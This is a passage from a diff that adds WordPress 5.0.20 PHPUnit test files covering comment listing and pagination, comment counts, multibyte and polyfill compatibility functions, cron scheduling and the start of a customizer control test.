+		$this->assertEquals( 1, $all_count4->total_comments );
+		$this->assertEquals( 0, $all_count4->all );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/wpListComments.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/wpListComments.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/wpListComments.php	(revision 56912)
@@ -0,0 +1,233 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_WpListComments extends WP_UnitTestCase {
+	/**
+	 * @ticket 35175
+	 */
+	public function test_should_respect_page_param() {
+		$p = self::factory()->post->create();
+
+		$comments = array();
+		$now = time();
+		for ( $i = 0; $i <= 5; $i++ ) {
+			$comments[] = self::factory()->comment->create( array(
+				'comment_post_ID' => $p,
+				'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - $i ),
+				'comment_author' => 'Commenter ' . $i,
+			) );
+		}
+
+		update_option( 'page_comments', true );
+		update_option( 'comments_per_page', 2 );
+
+		$this->go_to( get_permalink( $p ) );
+
+		// comments_template() populates $wp_query->comments
+		get_echo( 'comments_template' );
+
+		$found = wp_list_comments( array(
+			'page' => 2,
+			'echo' => false,
+		) );
+
+		preg_match_all( '|id="comment\-([0-9]+)"|', $found, $matches );
+
+		$this->assertEqualSets( array( $comments[2], $comments[3] ), $matches[1] );
+	}
+
+	/**
+	 * @ticket 35175
+	 */
+	public function test_should_respect_per_page_param() {
+		$p = self::factory()->post->create();
+
+		$comments = array();
+		$now = time();
+		for ( $i = 0; $i <= 5; $i++ ) {
+			$comments[] = self::factory()->comment->create( array(
+				'comment_post_ID' => $p,
+				'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - $i ),
+				'comment_author' => 'Commenter ' . $i,
+			) );
+		}
+
+		update_option( 'page_comments', true );
+		update_option( 'comments_per_page', 2 );
+
+		$this->go_to( get_permalink( $p ) );
+
+		// comments_template() populates $wp_query->comments
+		get_echo( 'comments_template' );
+
+		$found = wp_list_comments( array(
+			'per_page' => 3,
+			'echo' => false,
+		) );
+
+		preg_match_all( '|id="comment\-([0-9]+)"|', $found, $matches );
+
+		$this->assertEqualSets( array( $comments[0], $comments[1], $comments[2] ), $matches[1] );
+	}
+
+	/**
+	 * @ticket 35175
+	 */
+	public function test_should_respect_reverse_top_level_param() {
+		$p = self::factory()->post->create();
+
+		$comments = array();
+		$now = time();
+		for ( $i = 0; $i <= 5; $i++ ) {
+			$comments[] = self::factory()->comment->create( array(
+				'comment_post_ID' => $p,
+				'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - $i ),
+				'comment_author' => 'Commenter ' . $i,
+			) );
+		}
+
+		update_option( 'page_comments', true );
+		update_option( 'comments_per_page', 2 );
+
+		$this->go_to( get_permalink( $p ) );
+
+		// comments_template() populates $wp_query->comments
+		get_echo( 'comments_template' );
+
+		$found1 = wp_list_comments( array(
+			'reverse_top_level' => true,
+			'echo' => false,
+		) );
+		preg_match_all( '|id="comment\-([0-9]+)"|', $found1, $matches );
+		$this->assertSame( array( $comments[0], $comments[1] ), array_map( 'intval', $matches[1] ) );
+
+		$found2 = wp_list_comments( array(
+			'reverse_top_level' => false,
+			'echo' => false,
+		) );
+		preg_match_all( '|id="comment\-([0-9]+)"|', $found2, $matches );
+		$this->assertSame( array( $comments[1], $comments[0] ), array_map( 'intval', $matches[1] ) );
+	}
+
+	/**
+	 * @ticket 35356
+	 * @ticket 35175
+	 */
+	public function test_comments_param_should_be_respected_when_custom_pagination_params_are_passed() {
+		$p = self::factory()->post->create();
+
+		$comments = array();
+		$now = time();
+		for ( $i = 0; $i <= 5; $i++ ) {
+			$comments[] = self::factory()->comment->create( array(
+				'comment_post_ID' => $p,
+				'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - $i ),
+				'comment_author' => 'Commenter ' . $i,
+			) );
+		}
+
+		update_option( 'page_comments', true );
+		update_option( 'comments_per_page', 2 );
+
+		$_comments = array( get_comment( $comments[1] ), get_comment( $comments[3] ) );
+
+		// Populate `$wp_query->comments` in order to show that it doesn't override `$_comments`.
+		$this->go_to( get_permalink( $p ) );
+		get_echo( 'comments_template' );
+
+		$found = wp_list_comments( array(
+			'echo' => false,
+			'per_page' => 1,
+			'page' => 2,
+		), $_comments );
+
+		preg_match_all( '|id="comment\-([0-9]+)"|', $found, $matches );
+		$this->assertSame( array( $comments[3] ), array_map( 'intval', $matches[1] ) );
+	}
+
+	/**
+	 * @ticket 37048
+	 */
+	public function test_custom_pagination_should_not_result_in_unapproved_comments_being_shown() {
+		$p = self::factory()->post->create();
+
+		$comments = array();
+		$now = time();
+		for ( $i = 0; $i <= 5; $i++ ) {
+			$comments[] = self::factory()->comment->create( array(
+				'comment_post_ID' => $p,
+				'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - $i ),
+				'comment_author' => 'Commenter ' . $i,
+			) );
+		}
+
+		// Only 2 and 5 are approved.
+		wp_set_comment_status( $comments[0], '0' );
+		wp_set_comment_status( $comments[1], '0' );
+		wp_set_comment_status( $comments[3], '0' );
+		wp_set_comment_status( $comments[4], '0' );
+
+		update_option( 'page_comments', true );
+		update_option( 'comments_per_page', 2 );
+
+		$this->go_to( get_permalink( $p ) );
+
+		// comments_template() populates $wp_query->comments
+		get_echo( 'comments_template' );
+
+		$found = wp_list_comments( array(
+			'echo' => false,
+			'per_page' => 1,
+			'page' => 2,
+		) );
+
+		preg_match_all( '|id="comment\-([0-9]+)"|', $found, $matches );
+		$this->assertSame( array( $comments[2] ), array_map( 'intval', $matches[1] ) );
+	}
+
+	/**
+	 * @ticket 37048
+	 */
+	public function test_custom_pagination_should_allow_ones_own_unapproved_comments() {
+		$p = self::factory()->post->create();
+		$u = self::factory()->user->create();
+
+		$comments = array();
+		$now = time();
+		for ( $i = 0; $i <= 5; $i++ ) {
+			$comments[] = self::factory()->comment->create( array(
+				'comment_post_ID' => $p,
+				'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - $i ),
+				'comment_author' => 'Commenter ' . $i,
+				'user_id' => $u,
+			) );
+		}
+
+		// Only 2 and 5 are approved.
+		wp_set_comment_status( $comments[0], '0' );
+		wp_set_comment_status( $comments[1], '0' );
+		wp_set_comment_status( $comments[3], '0' );
+		wp_set_comment_status( $comments[4], '0' );
+
+		update_option( 'page_comments', true );
+		update_option( 'comments_per_page', 2 );
+
+		wp_set_current_user( $u );
+
+		$this->go_to( get_permalink( $p ) );
+
+		// comments_template() populates $wp_query->comments
+		get_echo( 'comments_template' );
+
+		$found = wp_list_comments( array(
+			'echo' => false,
+			'per_page' => 1,
+			'page' => 2,
+		) );
+
+		preg_match_all( '|id="comment\-([0-9]+)"|', $found, $matches );
+		$this->assertSame( array( $comments[4] ), array_map( 'intval', $matches[1] ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/wpUpdateCommentCountNow.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/wpUpdateCommentCountNow.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/wpUpdateCommentCountNow.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * @group  comment
+ * @covers ::wp_update_comment_count_now
+ */
+class Tests_Update_Comment_Count_Now extends WP_UnitTestCase {
+	public function _return_100() {
+		return 100;
+	}
+
+	public function test_invalid_post_bails_early() {
+		$this->assertFalse( wp_update_comment_count_now( 100 ) );
+		$this->assertFalse( wp_update_comment_count_now( null ) );
+		$this->assertFalse( wp_update_comment_count_now( 0 ) );
+	}
+
+	public function test_regular_post_updates_comment_count() {
+		global $wpdb;
+
+		$post_id = self::factory()->post->create();
+
+		self::factory()->comment->create_post_comments( $post_id, 1 );
+		$this->assertSame( '1', get_comments_number( $post_id ) );
+
+		$num_queries = $wpdb->num_queries;
+		$this->assertTrue( wp_update_comment_count_now( $post_id ) );
+		$this->assertSame( $num_queries + 2, $wpdb->num_queries );
+
+		$this->assertSame( '1', get_comments_number( $post_id ) );
+	}
+
+	public function test_using_filter_adjusts_comment_count_without_an_additional_database_query() {
+		global $wpdb;
+
+		add_filter( 'pre_wp_update_comment_count_now', array( $this, '_return_100' ) );
+
+		$post_id = self::factory()->post->create();
+
+		self::factory()->comment->create_post_comments( $post_id, 1 );
+		$this->assertSame( '100', get_comments_number( $post_id ) );
+
+		$num_queries = $wpdb->num_queries;
+		$this->assertTrue( wp_update_comment_count_now( $post_id ) );
+		// Only one query is made instead of two.
+		$this->assertSame( $num_queries + 1, $wpdb->num_queries );
+
+		$this->assertSame( '100', get_comments_number( $post_id ) );
+
+		remove_filter( 'pre_wp_update_comment_count_now', array( $this, '_return_100' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/compat.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/compat.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/compat.php	(revision 56912)
@@ -0,0 +1,331 @@
+<?php
+
+/**
+ * @group compat
+ * @group security-153
+ */
+class Tests_Compat extends WP_UnitTestCase {
+	function utf8_string_lengths() {
+		return array(
+			//                     string, character_length, byte_length
+			array(                 'баба',                4,           8 ),
+			array(                  'баб',                3,           6 ),
+			array(          'I am your б',               11,          12 ),
+			array(           '1111111111',               10,          10 ),
+			array(           '²²²²²²²²²²',               10,          20 ),
+			array( '３３３３３３３３３３',               10,          30 ),
+			array(           '𝟜𝟜𝟜𝟜𝟜𝟜𝟜𝟜𝟜𝟜',               10,          40 ),
+			array(      '1²３𝟜1²３𝟜1²３𝟜',               12,          30 ),
+		);
+	}
+
+	function utf8_substrings() {
+		return array(
+			//               string, start, length, character_substring,   byte_substring
+			array(           'баба',     0,      3,               'баб',          "б\xD0" ),
+			array(           'баба',     0,     -1,               'баб',        "баб\xD0" ),
+			array(           'баба',     1,   null,               'аба',        "\xB1аба" ),
+			array(           'баба',    -3,   null,               'аба',          "\xB1а" ),
+			array(           'баба',    -3,      2,                'аб',       "\xB1\xD0" ),
+			array(           'баба',    -1,      2,                 'а',           "\xB0" ),
+			array( 'I am your баба',     0,     11,       'I am your б', "I am your \xD0" ),
+		);
+	}
+
+	/**
+	 * @dataProvider utf8_string_lengths
+	 */
+	function test_mb_strlen( $string, $expected_character_length ) {
+		$this->assertEquals( $expected_character_length, _mb_strlen( $string, 'UTF-8' ) );
+	}
+
+	/**
+	 * @dataProvider utf8_string_lengths
+	 */
+	function test_mb_strlen_via_regex( $string, $expected_character_length ) {
+		_wp_can_use_pcre_u( false );
+		$this->assertEquals( $expected_character_length, _mb_strlen( $string, 'UTF-8' ) );
+		_wp_can_use_pcre_u( 'reset' );
+	}
+
+	/**
+	 * @dataProvider utf8_string_lengths
+	 */
+	function test_8bit_mb_strlen( $string, $expected_character_length, $expected_byte_length ) {
+		$this->assertEquals( $expected_byte_length, _mb_strlen( $string, '8bit' ) );
+	}
+
+	/**
+	 * @dataProvider utf8_substrings
+	 */
+	function test_mb_substr( $string, $start, $length, $expected_character_substring ) {
+		$this->assertEquals( $expected_character_substring, _mb_substr( $string, $start, $length, 'UTF-8' ) );
+	}
+
+	/**
+	 * @dataProvider utf8_substrings
+	 */
+	function test_mb_substr_via_regex( $string, $start, $length, $expected_character_substring ) {
+		_wp_can_use_pcre_u( false );
+		$this->assertEquals( $expected_character_substring, _mb_substr( $string, $start, $length, 'UTF-8' ) );
+		_wp_can_use_pcre_u( 'reset' );
+	}
+
+	/**
+	 * @dataProvider utf8_substrings
+	 */
+	function test_8bit_mb_substr( $string, $start, $length, $expected_character_substring, $expected_byte_substring ) {
+		$this->assertEquals( $expected_byte_substring, _mb_substr( $string, $start, $length, '8bit' ) );
+	}
+
+	function test_mb_substr_phpcore(){
+		/* https://github.com/php/php-src/blob/php-5.6.8/ext/mbstring/tests/mb_substr_basic.phpt */
+		$string_ascii = 'ABCDEF';
+		$string_mb = base64_decode('5pel5pys6Kqe44OG44Kt44K544OI44Gn44GZ44CCMDEyMzTvvJXvvJbvvJfvvJjvvJnjgII=');
+
+		$this->assertEquals( 'DEF', _mb_substr($string_ascii, 3) );
+		$this->assertEquals( 'DEF', _mb_substr($string_ascii, 3, 5, 'ISO-8859-1') );
+
+		// specific latin-1 as that is the default the core php test opporates under	
+		$this->assertEquals( 'peacrOiqng==' , base64_encode( _mb_substr($string_mb, 2, 7, 'latin-1' ) ) );
+		$this->assertEquals( '6Kqe44OG44Kt44K544OI44Gn44GZ', base64_encode( _mb_substr($string_mb, 2, 7, 'utf-8') ) );
+
+		/* https://github.com/php/php-src/blob/php-5.6.8/ext/mbstring/tests/mb_substr_variation1.phpt */
+		$start = 0;
+		$length = 5;
+		$unset_var = 10;
+		unset ($unset_var);
+		$heredoc = <<<EOT
+hello world
+EOT;
+		$inputs = array( 
+		/*1*/  0,
+			   1,
+			   12345,
+			   -2345,
+			   // float data
+		/*5*/  10.5,
+			   -10.5,
+			   12.3456789000e10,
+			   12.3456789000E-10,
+			   .5,
+			   // null data
+		/*10*/ NULL,
+			   null,
+			   // boolean data
+		/*12*/ true,
+			   false,
+			   TRUE,
+			   FALSE,
+			   // empty data
+		/*16*/ "",
+			   '',
+			   // string data
+		/*18*/ "string",
+			   'string',
+			   $heredoc,
+			   // object data
+		/*21*/ new classA(),
+			   // undefined data
+		/*22*/ @$undefined_var,
+			   // unset data
+		/*23*/ @$unset_var,
+		);
+		$outputs = array(
+			"0",
+			"1",
+			"12345",
+			"-2345",
+			"10.5",
+			"-10.5",
+			"12345",
+			"1.234",
+			"0.5",
+			"",
+			"",
+			"1",
+			"",
+			"1",
+			"",
+			"",
+			"",
+			"strin",
+			"strin",
+			"hello",
+			"Class",
+			"",
+			"",
+		);
+		$iterator = 0;
+		foreach($inputs as $input) {
+			$this->assertEquals( $outputs[$iterator] ,  _mb_substr($input, $start, $length) );
+			$iterator++;
+		}
+
+	}
+
+	function test_hash_hmac_simple() {
+		$this->assertEquals('140d1cb79fa12e2a31f32d35ad0a2723', _hash_hmac('md5', 'simple', 'key'));
+		$this->assertEquals('993003b95758e0ac2eba451a4c5877eb1bb7b92a', _hash_hmac('sha1', 'simple', 'key'));
+	}
+
+	function test_hash_hmac_padding() {
+		$this->assertEquals('3c1399103807cf12ec38228614416a8c', _hash_hmac('md5', 'simple', '65 character key 65 character key 65 character key 65 character k'));
+		$this->assertEquals('4428826d20003e309d6c2a6515891370daf184ea', _hash_hmac('sha1', 'simple', '65 character key 65 character key 65 character key 65 character k'));
+	}
+
+	function test_hash_hmac_output() {
+		$this->assertEquals(array( 1 => '140d1cb79fa12e2a31f32d35ad0a2723'), unpack('H32', _hash_hmac('md5', 'simple', 'key', true)));
+		$this->assertEquals(array( 1 => '993003b95758e0ac2eba451a4c5877eb1bb7b92a'), unpack('H40', _hash_hmac('sha1', 'simple', 'key', true)));
+	}
+
+	function test_json_encode_decode() {
+		require_once( ABSPATH . WPINC . '/class-json.php' );
+		$json = new Services_JSON();
+		// Super basic test to verify Services_JSON is intact and working.
+		$this->assertEquals( '["foo"]', $json->encodeUnsafe( array( 'foo' ) ) );
+		$this->assertEquals( array( 'foo' ), $json->decode( '["foo"]' ) );
+	}
+
+	/**
+	 * Test that is_countable() is always available (either from PHP or WP).
+	 *
+	 * @ticket 43583
+	 */
+	function test_is_countable_availability() {
+		$this->assertTrue( function_exists( 'is_countable' ) );
+	}
+
+	/**
+	 * Test is_countable() polyfill.
+	 *
+	 * @ticket 43583
+	 *
+	 * @dataProvider countable_variable_test_data
+	 *
+	 * @param mixed $variable     Variable to check.
+	 * @param bool  $is_countable The expected return value of PHP 7.3 is_countable() function.
+	 */
+	function test_is_countable_functionality( $variable, $is_countable ) {
+		$this->assertSame( is_countable( $variable ), $is_countable );
+	}
+
+	/**
+	 * Data provider for test_is_countable_functionality().
+	 *
+	 * @ticket 43583
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @type mixed $variable     Variable to check.
+	 *         @type bool  $is_countable The expected return value of PHP 7.3 is_countable() function.
+	 *     }
+	 * }
+	 */
+	public function countable_variable_test_data() {
+		return array(
+			array( true, false ),
+			array( new stdClass(), false ),
+			array( new ArrayIteratorFake(), true ),
+			array( new CountableFake(), true ),
+			array( 16, false ),
+			array( null, false ),
+			array( array( 1, 2, 3 ), true ),
+			array( (array) 1, true ),
+			array( (object) array( 'foo', 'bar', 'baz' ), false ),
+		);
+	}
+
+	/**
+	 * Test is_countable() polyfill for ResourceBundle.
+	 *
+	 * @ticket 43583
+	 */
+	function test_is_countable_ResourceBundle() {
+		if ( ! class_exists( 'ResourceBundle' ) ) {
+			$this->markTestSkipped( 'The intl extension is not loaded. ResourceBundle not tested for is_countable().' );
+		}
+
+		if ( version_compare( PHP_VERSION, '5.4', '<' ) ) {
+			$this->markTestSkipped( 'ResourceBundle is only countable in PHP 5.4+' );
+			return;
+		}
+
+		$this->assertTrue( is_countable( new ResourceBundle( 'en', null ) ) );
+	}
+
+	/**
+	 * Test is_countable() polyfill for SimpleXMLElement.
+	 *
+	 * @ticket 43583
+	 */
+	function test_is_countable_SimpleXMLElement() {
+		if ( ! class_exists( 'SimpleXMLElement' ) ) {
+			$this->markTestSkipped( 'The xml extension is not loaded. SimpleXMLElement not tested for is_countable().' );
+		}
+
+		$this->assertTrue( is_countable( new SimpleXMLElement( '<xml><tag>1</tag><tag>2</tag></xml>' ) ) );
+	}
+
+	/**
+	 * Test that is_iterable() is always available (either from PHP or WP).
+	 *
+	 * @ticket 43619
+	 */
+	function test_is_iterable_availability() {
+		$this->assertTrue( function_exists( 'is_iterable' ) );
+	}
+
+	/**
+	 * Test is_iterable() polyfill.
+	 *
+	 * @ticket 43619
+	 *
+	 * @dataProvider iterable_variable_test_data
+	 *
+	 * @param mixed $variable    Variable to check.
+	 * @param bool  $is_iterable The expected return value of PHP 7.1 is_iterable() function.
+	 */
+	function test_is_iterable_functionality( $variable, $is_iterable ) {
+		$this->assertSame( is_iterable( $variable ), $is_iterable );
+	}
+
+	/**
+	 * Data provider for test_is_iterable_functionality().
+	 *
+	 * @ticket 43619
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @type mixed $variable    Variable to check.
+	 *         @type bool  $is_iterable The expected return value of PHP 7.1 is_iterable() function.
+	 *     }
+	 * }
+	 */
+	public function iterable_variable_test_data() {
+		return array(
+			array( array(), true ),
+			array( array( 1, 2, 3 ), true ),
+			array( new ArrayIterator( array( 1, 2, 3 ) ), true ),
+			array( 1, false ),
+			array( 3.14, false ),
+			array( new stdClass(), false ),
+		);
+	}
+}
+
+/* used in test_mb_substr_phpcore */ 
+class classA {
+	public function __toString() {
+		return "Class A object";
+	}
+}
+
+class ArrayIteratorFake extends ArrayIterator {
+}
+
+class CountableFake implements Countable {
+	public function count() {
+		return 16;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/cron.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/cron.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/cron.php	(revision 56912)
@@ -0,0 +1,272 @@
+<?php
+
+/**
+ * Test the cron scheduling functions
+ *
+ * @group cron
+ */
+class Tests_Cron extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		// make sure the schedule is clear
+		_set_cron_array(array());
+	}
+
+	function tearDown() {
+		// make sure the schedule is clear
+		_set_cron_array(array());
+		parent::tearDown();
+	}
+
+	function test_wp_get_schedule_empty() {
+		// nothing scheduled
+		$hook = __FUNCTION__;
+		$this->assertFalse(wp_get_schedule($hook));
+	}
+
+	function test_schedule_event_single() {
+		// schedule an event and make sure it's returned by wp_next_scheduled
+		$hook = __FUNCTION__;
+		$timestamp = strtotime('+1 hour');
+
+		wp_schedule_single_event( $timestamp, $hook );
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook) );
+
+		// it's a non recurring event
+		$this->assertEquals( '', wp_get_schedule($hook) );
+
+	}
+
+	function test_schedule_event_single_args() {
+		// schedule an event with arguments and make sure it's returned by wp_next_scheduled
+		$hook = 'event';
+		$timestamp = strtotime('+1 hour');
+		$args = array('foo');
+
+		wp_schedule_single_event( $timestamp, $hook, $args );
+		// this returns the timestamp only if we provide matching args
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook, $args) );
+		// these don't match so return nothing
+		$this->assertEquals( false, wp_next_scheduled($hook) );
+		$this->assertEquals( false, wp_next_scheduled($hook, array('bar')) );
+
+		// it's a non recurring event
+		$this->assertEquals( '', wp_get_schedule($hook, $args) );
+	}
+
+	function test_schedule_event() {
+		// schedule an event and make sure it's returned by wp_next_scheduled
+		$hook = __FUNCTION__;
+		$recur = 'hourly';
+		$timestamp = strtotime('+1 hour');
+
+		wp_schedule_event( $timestamp, $recur, $hook );
+		// it's scheduled for the right time
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook) );
+		// it's a recurring event
+		$this->assertEquals( $recur, wp_get_schedule($hook) );
+	}
+
+	function test_schedule_event_args() {
+		// schedule an event and make sure it's returned by wp_next_scheduled
+		$hook = 'event';
+		$timestamp = strtotime('+1 hour');
+		$recur = 'hourly';
+		$args = array('foo');
+
+		wp_schedule_event( $timestamp, 'hourly', $hook, $args );
+		// this returns the timestamp only if we provide matching args
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook, $args) );
+		// these don't match so return nothing
+		$this->assertEquals( false, wp_next_scheduled($hook) );
+		$this->assertEquals( false, wp_next_scheduled($hook, array('bar')) );
+
+		$this->assertEquals( $recur, wp_get_schedule($hook, $args) );
+
+	}
+
+	function test_unschedule_event() {
+		// schedule an event and make sure it's returned by wp_next_scheduled
+		$hook = __FUNCTION__;
+		$timestamp = strtotime('+1 hour');
+
+		wp_schedule_single_event( $timestamp, $hook );
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook) );
+
+		// now unschedule it and make sure it's gone
+		wp_unschedule_event( $timestamp, $hook );
+		$this->assertEquals( false, wp_next_scheduled($hook) );
+	}
+
+	function test_clear_schedule() {
+		$hook = __FUNCTION__;
+		$args = array( 'arg1' );
+
+		// schedule several events with and without arguments
+		wp_schedule_single_event( strtotime('+1 hour'), $hook );
+		wp_schedule_single_event( strtotime('+2 hour'), $hook );
+		wp_schedule_single_event( strtotime('+3 hour'), $hook, $args );
+		wp_schedule_single_event( strtotime('+4 hour'), $hook, $args );
+
+		// make sure they're returned by wp_next_scheduled()
+		$this->assertTrue( wp_next_scheduled($hook) > 0 );
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the no args events and make sure it's gone
+		wp_clear_scheduled_hook($hook);
+		$this->assertFalse( wp_next_scheduled($hook) );
+		// the args events should still be there
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the args events and make sure they're gone too
+		// note: wp_clear_scheduled_hook() expects args passed directly, rather than as an array
+		wp_clear_scheduled_hook($hook, $args);
+		$this->assertFalse( wp_next_scheduled($hook, $args) );
+	}
+
+	function test_clear_schedule_multiple_args() {
+		$hook = __FUNCTION__;
+		$args = array( 'arg1', 'arg2' );
+
+		// schedule several events with and without arguments
+		wp_schedule_single_event( strtotime('+1 hour'), $hook );
+		wp_schedule_single_event( strtotime('+2 hour'), $hook );
+		wp_schedule_single_event( strtotime('+3 hour'), $hook, $args );
+		wp_schedule_single_event( strtotime('+4 hour'), $hook, $args );
+
+		// make sure they're returned by wp_next_scheduled()
+		$this->assertTrue( wp_next_scheduled($hook) > 0 );
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the no args events and make sure it's gone
+		wp_clear_scheduled_hook($hook);
+		$this->assertFalse( wp_next_scheduled($hook) );
+		// the args events should still be there
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the args events and make sure they're gone too
+		// note: wp_clear_scheduled_hook() used to expect args passed directly, rather than as an array pre WP 3.0
+		wp_clear_scheduled_hook($hook, $args);
+		$this->assertFalse( wp_next_scheduled($hook, $args) );
+	}
+
+	/**
+	 * @ticket 10468
+	 */
+	function test_clear_schedule_new_args() {
+		$hook = __FUNCTION__;
+		$args = array( 'arg1' );
+		$multi_hook = __FUNCTION__ . '_multi';
+		$multi_args = array( 'arg2', 'arg3' );
+
+		// schedule several events with and without arguments
+		wp_schedule_single_event( strtotime('+1 hour'), $hook );
+		wp_schedule_single_event( strtotime('+2 hour'), $hook );
+		wp_schedule_single_event( strtotime('+3 hour'), $hook, $args );
+		wp_schedule_single_event( strtotime('+4 hour'), $hook, $args );
+		wp_schedule_single_event( strtotime('+5 hour'), $multi_hook, $multi_args );
+		wp_schedule_single_event( strtotime('+6 hour'), $multi_hook, $multi_args );
+
+		// make sure they're returned by wp_next_scheduled()
+		$this->assertTrue( wp_next_scheduled($hook) > 0 );
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the no args events and make sure it's gone
+		wp_clear_scheduled_hook($hook);
+		$this->assertFalse( wp_next_scheduled($hook) );
+		// the args events should still be there
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the args events and make sure they're gone too
+		// wp_clear_scheduled_hook() should take args as an array like the other functions.
+		wp_clear_scheduled_hook($hook, $args);
+		$this->assertFalse( wp_next_scheduled($hook, $args) );
+
+		// clear the schedule for the args events and make sure they're gone too
+		// wp_clear_scheduled_hook() should take args as an array like the other functions and does from WP 3.0
+		wp_clear_scheduled_hook($multi_hook, $multi_args);
+		$this->assertFalse( wp_next_scheduled($multi_hook, $multi_args) );
+	}
+
+	/**
+	 * @ticket 18997
+	 */
+	function test_unschedule_hook() {
+		$hook = __FUNCTION__;
+		$args = array( rand_str() );
+
+		// schedule several events with and without arguments.
+		wp_schedule_single_event( strtotime( '+1 hour' ), $hook );
+		wp_schedule_single_event( strtotime( '+2 hour' ), $hook );
+		wp_schedule_single_event( strtotime( '+3 hour' ), $hook, $args );
+		wp_schedule_single_event( strtotime( '+4 hour' ), $hook, $args );
+
+		// make sure they're returned by wp_next_scheduled().
+		$this->assertTrue( wp_next_scheduled( $hook ) > 0 );
+		$this->assertTrue( wp_next_scheduled( $hook, $args ) > 0 );
+
+		// clear the schedule and make sure it's gone.
+		wp_unschedule_hook( $hook );
+		$this->assertFalse( wp_next_scheduled( $hook ) );
+	}
+
+	/**
+	 * @ticket 6966
+	 */
+	function test_duplicate_event() {
+		// duplicate events close together should be skipped
+		$hook = __FUNCTION__;
+		$args = array( 'arg1' );
+		$ts1 = strtotime('+5 minutes');
+		$ts2 = strtotime('+3 minutes');
+
+		// first one works
+		wp_schedule_single_event( $ts1, $hook, $args );
+		// second one is ignored
+		wp_schedule_single_event( $ts2, $hook, $args );
+
+		// the next event should be at +5 minutes, not +3
+		$this->assertEquals( $ts1, wp_next_scheduled($hook, $args) );
+	}
+
+	/**
+	 * @ticket 6966
+	 */
+	function test_not_duplicate_event() {
+		// duplicate events far apart should work normally
+		$hook = __FUNCTION__;
+		$args = array( 'arg1' );
+		$ts1 = strtotime( '+30 minutes' );
+		$ts2 = strtotime( '+3 minutes' );
+
+		// first one works
+		wp_schedule_single_event( $ts1, $hook, $args );
+		// second works too
+		wp_schedule_single_event( $ts2, $hook, $args );
+
+		// the next event should be at +3 minutes, even though that one was scheduled second
+		$this->assertEquals( $ts2, wp_next_scheduled( $hook, $args ) );
+		wp_unschedule_event( $ts2, $hook, $args );
+		// following event at +30 minutes should be there too
+		$this->assertEquals( $ts1, wp_next_scheduled( $hook, $args ) );
+	}
+
+	function test_not_duplicate_event_reversed() {
+		// duplicate events far apart should work normally regardless of order
+		$hook = __FUNCTION__;
+		$args = array( 'arg1' );
+		$ts1 = strtotime( '+3 minutes' );
+		$ts2 = strtotime( '+30 minutes' );
+
+		// first one works
+		wp_schedule_single_event( $ts1, $hook, $args );
+		// second works too
+		wp_schedule_single_event( $ts2, $hook, $args );
+
+		// the next event should be at +3 minutes
+		$this->assertEquals( $ts1, wp_next_scheduled( $hook, $args ) );
+		wp_unschedule_event( $ts1, $hook, $args );
+		// following event should be there too
+		$this->assertEquals( $ts2, wp_next_scheduled( $hook, $args ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/control.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/control.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/control.php	(revision 56912)
@@ -0,0 +1,149 @@
+<?php
+/**
+ * Test_WP_Customize_Control tests.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Tests for the Test_WP_Customize_Control class.
+ *
+ * @todo This is missing dedicated tests for all but one of the methods.
+ *
+ * @group customize
+ */
+class Test_WP_Customize_Control extends WP_UnitTestCase {
+
+	/**
+	 * Manager.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $wp_customize;
+
+	/**
+	 * Set up.
+	 */
+	function setUp() {
+		parent::setUp();
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'administrator' ) ) );
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+		// @codingStandardsIgnoreStart
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		// @codingStandardsIgnoreEnd
+		$this->wp_customize = $GLOBALS['wp_customize'];
+	}
+
+	/**
+	 * Test WP_Customize_Control::check_capabilities().
+	 *
+	 * @see WP_Customize_Control::check_capabilities()
+	 */
+	function test_check_capabilities() {
+		do_action( 'customize_register', $this->wp_customize );
+		$control = new WP_Customize_Control( $this->wp_customize, 'blogname', array(
+			'settings' => array( 'blogname' ),
+		) );
+		$this->assertTrue( $control->check_capabilities() );
+
+		$control = new WP_Customize_Control( $this->wp_customize, 'blogname', array(
+			'settings' => array( 'blogname', 'non_existing' ),
+		) );
+		$this->assertFalse( $control->check_capabilities() );
+
+		$this->wp_customize->add_setting( 'top_secret_message', array(
